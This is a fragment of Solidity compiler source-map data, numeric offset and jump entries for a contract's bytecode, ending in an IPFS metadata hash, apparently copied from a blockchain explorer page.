;:::-;-1:-1:-1;;;;;10433:13:0;;;;;;;:9;:13;;;;;;;:48;;;;10497:83;;;;;;;;;;10556:13;1231:25:1;;1219:2;1204:18;;1085:177;10497:83:0;;;;;;;;10228:360;;;;:::o;14:418:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;297:6;292:2;284:6;280:15;275:2;264:9;260:18;254:50;353:1;348:2;339:6;328:9;324:22;320:31;313:42;423:2;416;412:7;407:2;399:6;395:15;391:29;380:9;376:45;372:54;364:62;;;14:418;;;;:::o;437:131::-;-1:-1:-1;;;;;512:31:1;;502:42;;492:70;;558:1;555;548:12;492:70;437:131;:::o;573:315::-;641:6;649;702:2;690:9;681:7;677:23;673:32;670:52;;;718:1;715;708:12;670:52;757:9;744:23;776:31;801:5;776:31;:::i;:::-;826:5;878:2;863:18;;;;850:32;;-1:-1:-1;;;573:315:1:o;1267:456::-;1344:6;1352;1360;1413:2;1401:9;1392:7;1388:23;1384:32;1381:52;;;1429:1;1426;1419:12;1381:52;1468:9;1455:23;1487:31;1512:5;1487:31;:::i;:::-;1537:5;-1:-1:-1;1594:2:1;1579:18;;1566:32;1607:33;1566:32;1607:33;:::i;:::-;1267:456;;1659:7;;-1:-1:-1;;;1713:2:1;1698:18;;;;1685:32;;1267:456::o;1917:247::-;1976:6;2029:2;2017:9;2008:7;2004:23;2000:32;1997:52;;;2045:1;2042;2035:12;1997:52;2084:9;2071:23;2103:31;2128:5;2103:31;:::i;2377:388::-;2445:6;2453;2506:2;2494:9;2485:7;2481:23;2477:32;2474:52;;;2522:1;2519;2512:12;2474:52;2561:9;2548:23;2580:31;2605:5;2580:31;:::i;:::-;2630:5;-1:-1:-1;2687:2:1;2672:18;;2659:32;2700:33;2659:32;2700:33;:::i;:::-;2752:7;2742:17;;;2377:388;;;;;:::o;2770:127::-;2831:10;2826:3;2822:20;2819:1;2812:31;2862:4;2859:1;2852:15;2886:4;2883:1;2876:15;2902:416;2991:1;3028:5;2991:1;3042:270;3063:7;3053:8;3050:21;3042:270;;;3122:4;3118:1;3114:6;3110:17;3104:4;3101:27;3098:53;;;3131:18;;:::i;:::-;3181:7;3171:8;3167:22;3164:55;;;3201:16;;;;3164:55;3280:22;;;;3240:15;;;;3042:270;;;3046:3;2902:416;;;;;:::o;3323:806::-;3372:5;3402:8;3392:80;;-1:-1:-1;3443:1:1;3457:5;;3392:80;3491:4;3481:76;;-1:-1:-1;3528:1:1;3542:5;;3481:76;3573:4;3591:1;3586:59;;;;3659:1;3654:130;;;;3566:218;;3586:59;3616:1;3607:10;;3630:5;;;3654:130;3691:3;3681:8;3678:17;3675:43;;;3698:18;;:::i;:::-;-1:-1:-1;;3754:1:1;3740:16;;3769:5;;3566:218;;3868:2;3858:8;3855:16;3849:3;3843:4;3840:13;3836:36;3830:2;3820:8;3817:16;3812:2;3806:4;3803:12;3799:35;3796:77;3793:159;;;-1:-1:-1;3905:19:1;;;3937:5;;3793:159;3984:34;4009:8;4003:4;3984:34;:::i;:::-;4054:6;4050:1;4046:6;4042:19;4033:7;4030:32;4027:58;;;4065:18;;:::i;:::-;4103:20;;3323:806;-1:-1:-1;;;3323:806:1:o;4134:140::-;4192:5;4221:47;4262:4;4252:8;4248:19;4242:4;4221:47;:::i;4279:168::-;4352:9;;;4383;;4400:15;;;4394:22;;4380:37;4370:71;;4421:18;;:::i;4452:356::-;4654:2;4636:21;;;4673:18;;;4666:30;4732:34;4727:2;4712:18;;4705:62;4799:2;4784:18;;4452:356::o;5777:306::-;5865:6;5873;5881;5934:2;5922:9;5913:7;5909:23;5905:32;5902:52;;;5950:1;5947;5940:12;5902:52;5979:9;5973:16;5963:26;;6029:2;6018:9;6014:18;6008:25;5998:35;;6073:2;6062:9;6058:18;6052:25;6042:35;;5777:306;;;;;:::o;6367:277::-;6434:6;6487:2;6475:9;6466:7;6462:23;6458:32;6455:52;;;6503:1;6500;6493:12;6455:52;6535:9;6529:16;6588:5;6581:13;6574:21;6567:5;6564:32;6554:60;;6610:1;6607;6600:12;9031:125;9096:9;;;9117:10;;;9114:36;;;9130:18;;:::i;9516:135::-;9555:3;9576:17;;;9573:43;;9596:18;;:::i;:::-;-1:-1:-1;9643:1:1;9632:13;;9516:135::o;9656:128::-;9723:9;;;9744:11;;;9741:37;;;9758:18;;:::i;9921:127::-;9982:10;9977:3;9973:20;9970:1;9963:31;10013:4;10010:1;10003:15;10037:4;10034:1;10027:15;10053:251;10123:6;10176:2;10164:9;10155:7;10151:23;10147:32;10144:52;;;10192:1;10189;10182:12;10144:52;10224:9;10218:16;10243:31;10268:5;10243:31;:::i;10309:980::-;10571:4;10619:3;10608:9;10604:19;10650:6;10639:9;10632:25;10676:2;10714:6;10709:2;10698:9;10694:18;10687:34;10757:3;10752:2;10741:9;10737:18;10730:31;10781:6;10816;10810:13;10847:6;10839;10832:22;10885:3;10874:9;10870:19;10863:26;;10924:2;10916:6;10912:15;10898:29;;10945:1;10955:195;10969:6;10966:1;10963:13;10955:195;;;11034:13;;-1:-1:-1;;;;;11030:39:1;11018:52;;11125:15;;;;11090:12;;;;11066:1;10984:9;10955:195;;;-1:-1:-1;;;;;;;11206:32:1;;;;11201:2;11186:18;;11179:60;-1:-1:-1;;;11270:3:1;11255:19;11248:35;11167:3;10309:980;-1:-1:-1;;;10309:980:1:o;11294:217::-;11334:1;11360;11350:132;;11404:10;11399:3;11395:20;11392:1;11385:31;11439:4;11436:1;11429:15;11467:4;11464:1;11457:15;11350:132;-1:-1:-1;11496:9:1;;11294:217::o

ipfs://a4fa8fe283c2865b96ae1eb21df35240405ece9a670b8b8b7a6a8e8e75d19ef9